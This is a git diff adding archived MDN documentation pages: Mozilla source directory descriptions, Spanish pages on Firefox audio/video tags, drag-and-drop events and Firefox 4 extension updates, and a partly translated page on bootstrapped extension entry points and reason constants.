+      <p>A cross-platform API, with implementations on each platform, for dealing with operating system/environment widgets, i.e., code related to creation and handling of windows, popups, and other native widgets and to converting the system's messages related to painting and events into the messages used by other parts of Mozilla (e.g. <a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure#view">view</a>/ and <a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure#content">content</a>/, the latter of which converts many of the messages to yet another API, the DOM event API).</p>
+    </div>
+    <div id="section_96">
+      <h2 id="xpcom"><span>xpcom</span></h2>
+      <div class="editIcon">
+        <h2 id="sect69"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=96"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p><a href="/en-US/docs/XPCOM" title="XPCOM">Cross-Platform Component Object Model</a>. Also contains data structures used by the rest of the mozilla code. See also <a class="external" href="http://www.mozilla.org/projects/xpcom/" rel="external" title="http://www.mozilla.org/projects/xpcom/">XPCOM Project</a>.</p>
+    </div>
+    <div id="section_97">
+      <h2 id="xpfe"><span>xpfe</span></h2>
+      <div class="editIcon">
+        <h2 id="sect70"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=97"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>XPFE is the SeaMonkey frontend. It contains the XUL files for the browser interface, common files used by the other parts of the mozilla suite, and the XBL files for the parts of the XUL language that are implemented in XBL. Much of this code has been copied to <a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure#browser">browser</a>/ and <a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure#toolkit">toolkit</a>/ for use in Firefox, Thunderbird, etc.</p>
+      <div id="section_98">
+        <h3 id="xpfecomponents"><span>xpfe/components</span></h3>
+        <div class="editIcon">
+          <h3 id="sect71"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=98"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+        </div>
+        <p>Components used by the Mozilla frontend, as well as implementations of interfaces that other parts of mozilla expect.</p>
+      </div>
+      <div id="section_99">
+        <h3 id="xpfebootstrap"><span>xpfe/bootstrap</span></h3>
+        <div class="editIcon">
+          <h3 id="sect72"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=99"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+        </div>
+        <p>Startup code for Mozilla. This contains the main/WinMain function. (Not used by "new toolkit" apps; for those, see <a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure#toolkit">toolkit</a>/xre and the "app" directory for each specific app).</p>
+      </div>
+    </div>
+    <div id="section_100">
+      <h2 id="xpinstall"><span>xpinstall</span></h2>
+      <div class="editIcon" style="">
+        <h2 id="sect73"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=100"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>The installer, which contains code for installing Mozilla and for installing XPIs/extensions. This directory also contains code needed to build installer packages. See <a href="/en-US/docs/XPInstall" title="XPInstall">XPInstall</a> and the <a class="external" href="http://www.mozilla.org/projects/xpinstall/" rel="external" title="http://www.mozilla.org/projects/xpinstall/">XPInstall project page</a>.</p>
+    </div>
+  </div>
+</div>
diff --git a/files/es/etiquetas_audio_y_video_en_firefox/index.html b/files/es/etiquetas_audio_y_video_en_firefox/index.html
new file mode 100644
index 0000000000..b89a3a028e
--- /dev/null
+++ b/files/es/etiquetas_audio_y_video_en_firefox/index.html
@@ -0,0 +1,46 @@
+---
+title: Etiquetas audio y video en Firefox
+slug: Etiquetas_audio_y_video_en_Firefox
+---
+<p>{{ gecko_minversion_header("1.9.1") }}</p>
+<p>En Firefox 3.5 se ha incorporado la posibilidad de usar las etiquetas para los elementos  <a class="internal" href="/En/HTML/Element/Audio" title="En/HTML/Element/Audio"><code>audio</code></a> y <a class="internal" href="/En/HTML/Element/Video" title="En/HTML/Element/Video"><code>video</code></a>, agregados a las especificaciones de HTML 5, lo que permite insertar  fácilmente archivos de audio o video en los documentos HTML.  Actualmente sólo pueden usarse los formatos Ogg y WAV, pero se espera agregar la posibilidad de usar otros formatos en el futuro.</p>
+<h2 id="Insertar_medios">Insertar medios</h2>
+<p>Insertar medios en su documento HTML es sencillo:</p>
+<pre class="brush: html">&lt;video src="http://v2v.cc/~j/theora_testsuite/320x240.ogg" autoplay&gt;
+  Your browser does not support the &lt;code&gt;video&lt;/code&gt; element.
+&lt;/video&gt;
+</pre>
+<p>Este ejemplo reproduce un video del sitio web de Theora.</p>
+<p>Se pueden agregar múltiples archivos usando el elemento <a class="internal" href="/En/HTML/Element/Source" title="En/HTML/Element/Source"><code>source</code></a> para especificar diferentes archivos con diferentes formatos para distintos navegadores. Por ejemplo:</p>
+<pre class="brush: html">&lt;video autoplay&gt;
+  &lt;source src="foo.ogg" type="video/ogg"&gt;
+  &lt;source src="foo.mov"&gt;
+  Your browser does not support the &lt;code&gt;video&lt;/code&gt; element.
+&lt;/video&gt;
+</pre>
+<p>ejecutará el archivo OGG en los navegadores que puedan reproducir ese formato. Si el navegador no puede reproducir ese formato, intentará usar el archivo MOV.</p>
+<div class="note"><strong>Nota: </strong>El elemento source todavía no es completamente funcional en Firefox. Mire el {{ bug(449363) }} para más detalles.</div>
+<h2 id="Controlar_la_reproducción_de_los_archivos">Controlar la reproducción de los archivos</h2>
+<p>Una vez que haya insertado el archivo en el documento HTML usando los nuevos elementos, puede controlarlos usando JavaScript. Por ejemplo, para empezar (o reiniciar) la reproducción, puede hacer esto::</p>
+<pre class="brush: js">var v = document.getElementsByTagName("video")[0];
+v.play();
+</pre>
+<p>La primera línea localiza el elemento en el documento y la segunda usa el método <a class="external" href="/En/NsIDOMHTMLMediaElement#play()" title="https://developer.mozilla.org/editor/fckeditor/core/editor/En/NsIDOMHTMLMediaElement#play()"><code>play()</code></a> del mismo, como está definido en la interface {{ interface("nsIDOMHTMLMediaElement") }} que se usa para implementar los elementos de medios.</p>
+<h2 id="Eventos_en_medios">Eventos en medios</h2>
+<p>Muchos eventos son enviados cuando se manejan medios:</p>
+<table class="standard-table"> <tbody> <tr> <td class="header">Nombre del evento</td> <td class="header">Descripción</td> </tr> <tr> <td><code>abort</code></td> <td>Se envía cuando se aborta la reproducción, por ejemplo, cuando el archivo se está reproduciendo y es reiniciado, se envía este evento.</td> </tr> <tr> <td><code>canplay</code></td> <td>Se envía cuando ya está disponible la suficiente cantidad del archivo para que pueda reproducirse, por lo menos por unos cuantos cuadros. Se corresponde con <code>CAN_PLAY</code> <code>readyState</code>.</td> </tr> <tr> <td><code>canplaythrough</code></td> <td>Se envía cuando el estado cambia a <code>CAN_PLAY_THROUGH</code>, lo que indica que puede reproducirse completamente el archivo sin interrupciones, asumiendo que la tasa de descaraga se mantendrá en el nivel actual.</td> </tr> <tr> <td><code>canshowcurrentframe</code></td> <td>El cuadro actual fue cargado y puede mostrarse. Este se corresponde a <code>CAN_SHOW_CURRENT_FRAME</code> <code>readyState</code>.</td> </tr> <tr> <td><code>dataunavailable</code></td> <td>Se envía cuando el estado cambia a <code>DATA_UNAVAILABLE</code>.</td> </tr> <tr> <td><code>durationchange</code></td> <td>Los metadatos fueron cargados o han cambiado, lo que indica un cambio en la duración del archivo. Esto se envía, por ejemplo, cuando se ha cargado tanto del archivo que se conoce la duración total del mismo.</td> </tr> <tr> <td><code>emptied</code></td> <td>El  archivo se ha vaciado. Por ejemplo, este evento se envía si el archivo había sido cargado (o parcialmente cargado), y se llamó al método <a class="internal" href="/En/nsIDOMMediaHTMLElement#load()" title="En/nsIDOMMediaHTMLElement#load()"><code>load()</code></a> para recargarlo.</td> </tr> <tr> <td><code>empty</code></td> <td>Se envía cuando hay un error y el archivo está vacío.</td> </tr> <tr> <td><code>ended</code></td> <td>Se envía cuando se termina la reproducción.</td> </tr> <tr> <td><code>error</code></td> <td>Se envía cuando hay un error. El atributo <code>error</code> del elemento contiene más información.</td> </tr> <tr> <td><code>load</code></td> <td>El archivo se descargó completamente.</td> </tr> <tr> <td><code>loadedfirstframe</code></td> <td>El primer cuadro del archivo se terminó de descargar.</td> </tr> <tr> <td><code>loadedmetadata</code></td> <td>Los metadatos del archivo se terminaron de descargar, todos los atributos contienen la mayor cantidad de información posible.</td> </tr> <tr> <td><code>loadstart</code></td> <td>Se envía cuando comienza la carga del archivo.</td> </tr> <tr> <td><code>pause</code></td> <td>Se envia cuando se pone en pausa la reproducción.</td> </tr> <tr> <td><code>play</code></td> <td>Se envía cuando se comienza la reproducción o cuando se reinicia.</td> </tr> <tr> <td><code>ratechange</code></td> <td>Se envía cuando cambia la velocidad de reproducción.</td> </tr> <tr> <td><code>seeked</code></td> <td>Se envía cuando se completa la operación de búsqueda.</td> </tr> <tr> <td><code>seeking</code></td> <td>Se envía cuando comienza la operación de búsqueda.</td> </tr> <tr> <td><code>timeupdate</code></td> <td>El tiempo indicado por el atributo <code>currentTime</code> del elemento cambió.</td> </tr> <tr> <td><code>volumechange</code></td> <td>Se envía al cambiar el volumen del audio (cuando el volumen es elegido y cuando cambia el atributo <code>muted</code>).</td> </tr> <tr> <td><code>waiting</code></td> <td>Se envía cuando la operación solicitada (como la reproducción) se retrasa porque espera que se complete otra operación (como una búsqueda).</td> </tr> </tbody>
+</table>
+<p>Fácilmente puede vigilar estos eventos, si usa un código parecido al siguiente:</p>
+<pre>var v = document.getElementsByTagName("video")[0];
+
+v.addEventListener("seeked", function() { document.getElementsByTagName("video")[0].play(); }, true);
+v.currentTime = 10.0;
+</pre>
+<p>Este ejemplo obtiene el primer elemento de video del documento y le adhiere un event listenert, esperando por el evento seeked, que se envía cuando termino una operación de búsqueda.  El listener simplemente ejecuta el método <code>play()</code> del elemento, que comenzará la reproducción.</p>
+<p>En la línea 4, se configura el atributo <code>currentTime</code> a 10.0, que inicia una operación de busqueda a la marca de los 10 segundos en el archivo.  Esto genera que se envíe un evento <code>seeking</code> cuando comienza la operación, después un evento <code>seeked</code> se enviara cuando la búsqueda se haya completado.</p>
+<p>En otras palabras, en este ejemplo se busca la marca de los 10 segundos en el archivo, y luego comienza la reproducción.</p>
+<h2 id="Vea_también">Vea también</h2>
+<ul> <li><a class="internal" href="/En/HTML/Element/Audio" title="En/HTML/Element/Audio"><code>audio</code></a></li> <li><a class="internal" href="/En/HTML/Element/Video" title="En/HTML/Element/Video"><code>video</code></a></li> <li><a class="internal" href="/En/HTML/Element/Source" title="En/HTML/Element/Source"><code>source</code></a> </li> <li><a class="internal" href="/En/Manipulating_video_using_canvas" title="En/Manipulating video using canvas">Manipulating video using canvas</a></li> <li>{{ interface("nsIDOMHTMLMediaElement") }}</li>
+</ul>
+<p> {{ languages( { "en": "en/Using_audio_and_video_in_Firefox" } ) }}</p>
+<p> {{ languages( { "fr": "fr/Utilisation_d'audio_et_video_dans_Firefox" } ) }}</p>
diff --git a/files/es/eventos_arrastrar_y_soltar/index.html b/files/es/eventos_arrastrar_y_soltar/index.html
new file mode 100644
index 0000000000..e0d66d46ff
--- /dev/null
+++ b/files/es/eventos_arrastrar_y_soltar/index.html
@@ -0,0 +1,31 @@
+---
+title: Eventos arrastrar y soltar
+slug: Eventos_arrastrar_y_soltar
+tags:
+  - Firefox 3
+translation_of: Archive/Mozilla/Drag_and_drop/Drag_and_drop_events
+---
+<p>
+</p><p>Firefox 3 añade dos nuevos eventos que te permiten determinar cuándo comienzan y terminan las operaciones de arrastrar y soltar. Estos eventos son nuevos en el borrador de trabajo actual de la especificación de HTML 5.
+</p>
+<dl><dt><code>drag</code>
+</dt><dd>Enviado cuando comienza una operación de arrastre.
+</dd><dt><code>dragend</code>
+</dt><dd>Enviado cuando acaba una operación de arrastre.
+</dd></dl>
+<p>Puedes leer más información sobre arrastrar y soltar en el artículo <a href="es/Arrastrar_y_soltar">Arrastrar y soltar</a>.
+</p><p>Puedes ver un ejemplo de estos eventos en acción en:
+</p>
+<ul><li> <a class="external" href="http://developer.mozilla.org/samples/dragdrop/dragevents.txt">Ver código</a>
+</li><li> <a class="external" href="http://developer.mozilla.org/samples/dragdrop/dragevents.html">Ver ejemplo</a>
+</li></ul>
+<h3 id="V.C3.A9ase_tambi.C3.A9n" name="V.C3.A9ase_tambi.C3.A9n">Véase también</h3>
+<ul><li> <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#dnd">Borrador de HTML 5: Arrastrar y soltar</a>
+</li><li> <a href="es/Arrastrar_y_soltar">Arrastrar y soltar</a>
+</li><li> <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDragService" title="">nsIDragService</a></code>
+</li></ul>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/es/extensiones/actualización_de_extensiones_para_firefox_4/index.html b/files/es/extensiones/actualización_de_extensiones_para_firefox_4/index.html
new file mode 100644
index 0000000000..cdc9521967
--- /dev/null
+++ b/files/es/extensiones/actualización_de_extensiones_para_firefox_4/index.html
@@ -0,0 +1,31 @@
+---
+title: Actualización de extensiones para Firefox 4
+slug: Extensiones/Actualización_de_extensiones_para_Firefox_4
+tags:
+  - Agregados
+  - Complementos
+  - Firefox 4
+  - Gecko 2.0
+  - extensiones
+  - para_revisar
+---
+<p>{{ fx_minversion_header(4) }}</p>
+<p>Este artículo ofrece detalles sobre aquellos cambios en Firefox 4 que pueden afectar a las extensiones existentes.</p>
+<h2 id="Cambios_en_XPCOM">Cambios en XPCOM</h2>
+<p>Se han llevado a cabo una serie de cambios que afectan a los complementos/agregados y las aplicaciones que incluyen componentes XPCOM. Consulta <a href="/es/XPCOM/Cambios_XPCOM_en_Gecko_2.0" title="https://developer.mozilla.org/es/XPCOM/Cambios_XPCOM_en_Gecko_2.0">los cambios de XPCOM en Gecko 2</a> para obtener más detalles.</p>
+<h2 id="Desempaquetado_de_XPI">Desempaquetado de XPI</h2>
+<p>Firefox 4 <a class=" link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=533038" title="https://bugzilla.mozilla.org/show_bug.cgi?id=533038">ya no extrae XPIs</a> al instalar complementos/agregados. Simplemente coloca el archivo XPI en el perfil del usuario y a continuación lee los archivos chrome y otro tipos de archivos directamente del XPI. Todavía funciona un jar en el XPI, aunque haya dejado de ser necesario, para facilitarte el proceso de desarrollo o compilación. Se ha hecho así principalmente por razones de rendimiento en los SO lentos a la vez que permite mejorar la invalidación de la caché, lo cual también ayuda a los desarrolladores. Sin embargo, no todos los tipos de archivos pueden leerse ya desde el XPI, por lo tanto si tu complemento/agregado usa uno de ellos, tienes que especificar <span class="nowiki"><a title="https://developer.mozilla.org/en/Install_Manifests#unpack"><code>&lt;em:unpack&gt;</code></a></span>  en tu install.rdf para hacer que Firefox continúe extrayendo tu XPI y usando archivos solos. De lo contrario, tu complemento/agregado fallará al intentar tener acceso a estos archivos.</p>
+<p>Si tu complemento/agregado sólo contiene estos tipos de archivos, no es necesario que realices ningún cambio::</p>
+<ul> <li><code>install.rdf</code></li> <li><code>chrome.manifest</code></li> <li><code>chrome</code> (incluyendo <code>content</code>, <code>locale</code>, <code>skin</code>)</li> <li>preferencias predeterminadas</li> <li>componentes XPCOM escritos en JavaScript</li>
+</ul>
+<p>Si tu complemento/agregado contiene alguno de los siguientes tipos de archivos, tendrás que incluir <code><code>&lt;em:unpack&gt;</code></code> en el install.rdf:</p>
+<ul> <li>componentes binarios XPCOM</li> <li>DLLs cargadas con CTypes</li> <li><code>searchplugins/</code> (que deben ser cargadas automáticamente por Firefox)</li> <li><code>dictionaries/</code></li> <li>Iconos de ventana (podrían <a class=" link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=595462" title="https://bugzilla.mozilla.org/show_bug.cgi?id=595462">solucionarse</a>)</li>
+</ul>
+<p>Si el código de tu complemento/agregado tiene acceso a otros archivos que has empaquetado en el XPI, entonces tendrás que incluir <code> </code><code>&lt;em:unpack&gt;</code> en el install.rdf o bien tendrás que realizar algunos cambios en tu código para poder admitir una instalación empaquetada. Cualquier código que usara getInstallLocation() y nsIFile tendrá que incluir em:unpack o modificarse. Puedes usar el método <code><a href="/en/Addons/Add-on_Manager/Addon#getResourceURI%28%29" title="https://developer.mozilla.org/en/Addons/Add-on_Manager/Addon#getResourceURI()">Addon.getResourceURI()</a></code>, devolverá un {{ interface("nsIURI") }} que apunta al archivo solicitado. Si la extensión o el agregado está sin empaquetar, entonces será un <code><span class="nowiki">file://</span></code> URI. Si la extensión o el agregado está empaquetada/o, será un <span class="nowiki"><code>jar://</code></span> URI. Puedes abrir secuencias para estas URI abriendo un canal mediante {{ interface("nsIIOService") }} que te permitirá descargar los contenidos de los archivos sin que haya que desempaquetar.</p>
+<h2 id="Se_han_eliminado_los_HWND_secundarios">Se han eliminado los HWND secundarios</h2>
+<p>Afectará a un número muy reducido de desarrolladores. En las versiones anteriores de Firefox, los <code>HWND</code> se creaban en Windows para uso interno. Como parte del trabajo destinado a la mejora del rendimiento de gráficos, éstos ya no se crean.</p>
+<p>Lamentablemente, las pocas extensiones que han tenido acceso y han manipulado directamente estos <code>HWND</code> no funcionarán en Firefox 4. Hemos colocado algunos parches para ayudar a los drivers de determinados dispositivos señaladores y al software de tecnología de ayuda (lectores de pantalla, por ejemplo). Sin embargo, hemos optado por no añadir más parches para admitir extensiones, que desde el principio no deberían haberlo hecho.</p>
+<p>Si mantienes una extensión que usa componentes nativos que dependen de unos <code>HWND</code> que ya no existen, tendrás que actualizar tu extensión. Existen dos formas de hacer esto.</p>
+<p>La primera, y la mejor, solución es dejar de acceder a los <code>HWND</code> y en su lugar usar características Web o XUL para implementar tus extensiones. Existen muchas características nuevas en Firefox 4 que posibilitan muchas cosas que requerían código nativo, por lo tanto ya no tendrás que hacerlo.</p>
+<p>Si ves que no funciona y sigues teniendo que acceder directamente a los <code>HWND</code>s, tal vez tu única solución sea escribir un plugin <a href="/en/NPAPI" title="en/NPAPI">NPAPI</a> para que haga el trabajo. Puede suponer mucho trabajo pero debería funcionar. Por supuesto, no te servirá si los <code>HWND</code> específicos que usabas ya no existen.</p>
+<p>{{ languages( { "en": "en/Extensions/Updating_extensions_for_Firefox_4" } ) }}</p>
diff --git a/files/es/extensions/bootstrapped_extensions/index.html b/files/es/extensions/bootstrapped_extensions/index.html
new file mode 100644
index 0000000000..da7cdec4db
--- /dev/null
+++ b/files/es/extensions/bootstrapped_extensions/index.html
@@ -0,0 +1,226 @@
+---
+title: Bootstrapped extensions
+slug: Extensions/Bootstrapped_extensions
+translation_of: Archive/Add-ons/Bootstrapped_extensions
+---
+<p>{{ gecko_minversion_header("2.0") }}</p>
+<p>Habitualmente los complementos incluyen <strong>overlays</strong>, en donde la aplicación puede montar el XUL del paquete del complemento y automaticamente aplicarlo en la interfaz de usuario. Mientras creas complementos puedes agregarlos a la interfaz de usuario facilmente, esto se refiere a la actualizaciones, instalaciones, o a deshabilitar el complemento que requiere de un reinicio.</p>
+<p>Gecko 2.0 {{ geckoRelease("2.0") }} introduce <strong>bootstrapped extensions</strong>. These are special extensions that, instead of using overlays to apply their user interface to the application, programmatically insert themselves into the application. This is done using a special script file that's included in the extension that contains functions the browser calls to command the extension to install, uninstall, start up, and shut down.</p>
+<p>All the application does is call into this script file; the extension is responsible for adding and removing its user interface and handling any other setup and shutdown tasks it requires.</p>
+<p>This article discusses how bootstrapped extensions work.</p>
+<p>As an aside, all extensions created using the <a class="link-https" href="https://addons.mozilla.org/en-US/developers/docs/sdk/latest/">Add-on SDK</a> or <a class="link-https" href="https://builder.addons.mozilla.org/">Add-on Builder</a> are bootstrapped; however, because all the bootstrapping code is generated for you, you don't really need to think about it.</p>
+<h2 id="The_startup_and_shutdown_process">The startup and shutdown process</h2>
+<p>A key feature of bootstrapped extensions is that they must be able to be started up and shut down on demand by the application. When the extension's <code>startup()</code> function is called, it must manually inject its user interface and other behavior into the application. Similarly, when its <code>shutdown()</code> function is called, it must remove anything it's added to the application, as well as all references to any of its objects.</p>
+<p>There are several scenarios in which the <code>startup()</code> function may be called; for example:</p>
+<ul>
+ <li>When the extension is first installed, assuming that it's both compatible with the application and is enabled.</li>
+ <li>When the extension becomes enabled using the add-ons manager window.</li>
+ <li>When the application is started up, if the extension is enabled and compatible with the application.</li>
+</ul>
+<p>Some examples of when the <code>shutdown()</code> function may be called:</p>
+<ul>
+ <li>When the extension is uninstalled, if it's currently enabled.</li>
+ <li>When the extension becomes disabled.</li>
+ <li>When the user quits the application, if the extension is enabled.</li>
+</ul>
+<h2 id="Notes_on_modifying_the_application_user_interface">Notes on modifying the application user interface</h2>
+<h3 id="chrome.manifest_in_bootstrapped_add-ons">chrome.manifest in bootstrapped add-ons</h3>
+<p>You can use a <a href="/en-US/docs/Chrome_Registration"><code>chrome.manifest</code></a> file in bootstrapped add-ons to:</p>
+<ol>
+ <li>make your add-on's content available via a <code>chrome://</code> URL (using the <code>content</code>, <code>locale</code>, and <code>skin</code> instructions in the manifest);</li>
+ <li>replace existing <code>chrome://</code> URIs with your content (using the <code>override</code> instruction).</li>
+</ol>
+<p>Not all <code>chrome.manifest</code> instructions are supported in bootstrapped add-ons, for example you still cannot register <a href="/en-US/docs/XUL_Overlays">XUL Overlays</a> from a bootstrapped add-on. See the <a href="/en-US/docs/Chrome_Registration"><code>chrome.manifest</code></a> documentation for details.</p>
+<p>In Firefox 10 and later the <code>chrome.manifest</code> file located in the root of the add-on's XPI (i.e. a sibling of the <code>install.rdf</code>) is loaded automatically. In Firefox 8 and 9 you had to load/unload the manifest manually using {{ ifmethod("nsIComponentManager", "addBootstrappedManifestLocation") }} and {{ ifmethod("nsIComponentManager", "removeBootstrappedManifestLocation") }}. This feature was unavailable in Firefox versions before 8.</p>
+<h3 id="Adding_user_interface_manually">Adding user interface manually</h3>
+<p>If you decide to go ahead and try to develop a bootstrapped extension that modifies the application's user interface, here are a few suggestions to get you started.</p>
+<p>You need to look up the relevant application UI elements by their ID by calling {{ domxref("document.getElementById()") }}, then manipulate them to inject your UI. For example, you can get access to the menu bar in Firefox with <code>document.getElementById("main-menubar")</code>.</p>
+<p>Be sure that at shutdown time, you remove any user interface you've added.</p>
+<h2 id="Creating_a_bootstrapped_extension">Creating a bootstrapped extension</h2>
+<p>To mark an extension as bootstrappable, you need to add the following element to its <a href="/en-US/docs/Install_Manifests">install manifest</a>:</p>
+<pre><code>&lt;em:bootstrap&gt;true&lt;/em:bootstrap&gt;</code></pre>
+<p>Then you need to add a <a href="/en-US/docs/Extensions/bootstrap.js"><code><strong>bootstrap.js</strong></code> file</a> that contains the required functions; this should be alongside the <a href="/en-US/docs/Install_Manifests"><code>install.rdf</code> file</a> in the extension's package.</p>
+<h3 id="Backward_compatibility">Backward compatibility</h3>
+<p>Because older versions of Firefox don't know about the <code>bootstrap</code> property or <code>bootstrap.js</code> file, it's not overly difficult to create an XPI that will work on both as a bootstrappable extension and as a traditional extension. Create your extension as a bootstrappable extension, then add the traditional overlays as well. Newer versions of Firefox will use the <code>bootstrap.js</code> script, ignoring the components and overlays, while older versions will use the overlays.</p>
+<h2 id="Bootstrap_entry_points">Bootstrap entry points</h2>
+<p>The <code>bootstrap.js</code> script should contain several specific functions, which are called by the browser to manage the extension. The script gets executed in a privileged sandbox, which is cached until the extension is shut down.</p>
+<h3 id="startup">startup</h3>
+<p>Called when the extension needs to start itself up. This happens at application launch time or when the extension is enabled after being disabled (or after it has been shut down in order to install an update. As such, this can be called many times during the lifetime of the application.</p>
+<p>This is when your add-on should inject its UI, start up any tasks it may need running, and so forth.</p>
+<pre>void startup(
+  data,
+  reason
+);
+</pre>
+<h6 id="Parameters">Parameters</h6>
+<dl>
+ <dt>
+  <code>data</code></dt>
+ <dd>
+  A <a href="#Bootstrap_data">bootstrap data structure</a>.</dd>
+ <dt>
+  <code>reason</code></dt>
+ <dd>
+  One of the <a href="#Reason_constants">reason constants</a>, indicating why the extension is being started up. This will be one of <code>APP_STARTUP</code>, <code>ADDON_ENABLE</code>, <code>ADDON_INSTALL</code>, <code>ADDON_UPGRADE</code>, or <code>ADDON_DOWNGRADE</code>.</dd>
+</dl>
+<h3 id="shutdown">shutdown</h3>
+<p>Called when the extension needs to shut itself down, such as when the application is quitting or when the extension is about to be upgraded or disabled. Any user interface that has been injected must be removed, tasks shut down, and objects disposed of.</p>
+<pre>void shutdown(
+  data,
+  reason
+);
+</pre>
+<h6 id="Parameters_2">Parameters</h6>
+<dl>
+ <dt>
+  <code>data</code></dt>
+ <dd>
+  A <a href="#Bootstrap_data">bootstrap data structure</a>.</dd>
+ <dt>
+  <code>reason</code></dt>
+ <dd>
+  One of the <a href="#Reason_constants">reason constants</a>, indicating why the extension is being shut down. This will be one of <code>APP_SHUTDOWN</code>, <code>ADDON_DISABLE</code>, <code>ADDON_UNINSTALL</code>, <code>ADDON_UPGRADE</code>, or <code>ADDON_DOWNGRADE</code>.</dd>
+</dl>
+<h3 id="install">install</h3>
+<p>Your bootstrap script must include an <code>install()</code> function, which the application calls before the first call to <code>startup()</code> after the extension is installed, upgraded, or downgraded.</p>
+<div class="note">
+ <strong>Note:</strong> This method is never called if the extension has never been started; for example, if an extension is installed but isn't compatible with the current version of the application, <code>install()</code> never gets called if it is uninstalled before becoming compatible. However, if the extension gets upgraded to a version that's compatible with the application, its <code>install()</code> function will be called at that time, before the first <code>startup()</code> call.</div>
+<pre>void install(
+  data,
+  reason
+);
+</pre>
+<h6 id="Parameters_3">Parameters</h6>
+<dl>
+ <dt>
+  <code>data</code></dt>
+ <dd>
+  A <a href="#Bootstrap_data">bootstrap data structure</a>.</dd>
+ <dt>
+  <code>reason</code></dt>
+ <dd>
+  One of the <a href="#Reason_constants">reason constants</a>, indicating why the extension is being installed. This will be one of <code>ADDON_INSTALL</code>, <code>ADDON_UPGRADE</code>, or <code>ADDON_DOWNGRADE</code>.</dd>
+</dl>
+<h3 id="uninstall">uninstall</h3>
+<p>This function is called after the last call to <code>shutdown()</code> before a particular version of an extension is uninstalled. This will not be called if <code>install()</code> was never called.</p>
+<div class="note">
+ <strong>Note:</strong> It's important to keep in mind that <code>uninstall()</code> can be called even on extensions that are currently disabled, or are not compatible with the current application. Because of this, it's crucial that the function be implemented to gracefully handle APIs that may not be present in the application. This function will also not be called if a third-party application removes the extension while Firefox isn't running.</div>
+<pre>void uninstall(
+  data,
+  reason
+);
+</pre>
+<h6 id="Parameters_4">Parameters</h6>
+<dl>
+ <dt>
+  <code>data</code></dt>
+ <dd>
+  A <a href="#Bootstrap_data">bootstrap data structure</a>.</dd>
+ <dt>
+  <code>reason</code></dt>
+ <dd>
+  One of the <a href="#Reason_constants">reason constants</a>, indicating why the extension is being uninstalled. This will be one of <code>ADDON_UNINSTALL</code>, <code>ADDON_UPGRADE</code>, or <code>ADDON_DOWNGRADE</code>.</dd>
+</dl>
+<h2 id="Reason_constants">Reason constants</h2>
+<p>The bootstrap functions accept a <code>reason</code> parameter, which explains to the extension why it's being called. The reason constants are:</p>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Constant</td>
+   <td class="header">Value</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>APP_STARTUP</code></td>
+   <td>1</td>
+   <td>The application is starting up.</td>
+  </tr>
+  <tr>
+   <td><code>APP_SHUTDOWN</code></td>
+   <td>2</td>
+   <td>The application is shutting down.</td>
+  </tr>
+  <tr>
+   <td><code>ADDON_ENABLE</code></td>
+   <td>3</td>
+   <td>The add-on is being enabled.</td>
+  </tr>
+  <tr>
+   <td><code>ADDON_DISABLE</code></td>
+   <td>4</td>
+   <td>The add-on is being disabled. (Also <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=620541">sent during uninstallation</a>)</td>
+  </tr>
+  <tr>
+   <td><code>ADDON_INSTALL</code></td>
+   <td>5</td>
+   <td>The add-on is being installed.</td>
+  </tr>
+  <tr>
+   <td><code>ADDON_UNINSTALL</code></td>
+   <td>6</td>
+   <td>The add-on is being uninstalled.</td>
+  </tr>
+  <tr>
+   <td><code>ADDON_UPGRADE</code></td>
+   <td>7</td>
+   <td>The add-on is being upgraded.</td>
+  </tr>
+  <tr>
+   <td><code>ADDON_DOWNGRADE</code></td>
+   <td>8</td>
+   <td>The add-on is being downgraded.</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Bootstrap_data">Bootstrap data</h2>
+<p>Each of the entry points is passed a simple data structure containing some useful information about the add-on being bootstrapped. More information about the add-on can be obtained by calling <code><a href="/en-US/docs/Addons/Add-on_Manager/AddonManager#getAddonByID()">AddonManager.getAddonByID()</a></code>. The data is a simple JavaScript object with the following properties:</p>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Property</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>id</code></td>
+   <td><code>string</code></td>
+   <td>The ID of the add-on being bootstrapped.</td>
+  </tr>
+  <tr>
+   <td><code>version</code></td>
+   <td><code>string</code></td>
+   <td>The version of the add-on being bootstrapped.</td>
+  </tr>
+  <tr>
+   <td><code>installPath</code></td>
+   <td><code>nsIFile</code></td>
+   <td>The installation location of the add-on being bootstrapped. This may be a directory or an XPI file depending on whether the add-on is installed unpacked or not.</td>
+  </tr>
+  <tr>
+   <td><code>resourceURI</code></td>
+   <td><code>nsIURI</code></td>
+   <td>A URI pointing at the root of the add-ons files, this may be a <code>jar:</code> or <code>file:</code> URI depending on whether the add-on is installed unpacked or not. {{ gecko_minversion_inline("7.0") }}</td>
+  </tr>
